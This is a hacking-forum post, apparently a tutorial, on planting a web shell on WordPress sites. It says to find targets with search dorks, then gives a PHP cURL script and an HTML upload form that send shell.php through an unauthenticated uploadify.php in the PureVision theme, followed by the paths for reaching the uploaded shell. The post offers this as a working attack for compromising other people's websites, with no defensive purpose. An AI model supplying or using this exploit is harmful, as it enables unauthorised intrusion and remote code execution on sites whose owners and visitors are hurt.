Greetings,
This would be a quick post 😉
Uploading Shell/File On Wordpress Website 🤣
This would be a quick post 😉
Uploading Shell/File On Wordpress Website 🤣
Intro:
Things Essential (Click to View)
Step One: Finding Website
Use The Following Dorks: (Click to View)
Step Two: Checking For Vulnerability
Check if the site is vulnerable
If the page appears To be blank after using the exploit the website is vulnerable
If the page appears To be blank after using the exploit the website is vulnerable
Code
wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php Step Three: Uploading Shell
Uploading via PHP
PHP Code
<?php
$uploadfile="shell.php";
$ch = curl_init("localhost/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/themes/purevision/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>CSRF HTML
Code
<form
action="localhost/wp-content/themes/purevision/scripts/admin/uploadify/"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="Submit">
</form>Step Four: Shell Acess
Shell Access PHP : localhost/wp-content/themes/purevision/scripts/admin/uploadify/
Shell Access HTML : localhost/shell.php
END
Note:
Avoid Uploading php files from CSRF script Upload HTML files
Thats all 😉
Good Luck 👍
Peace ✌
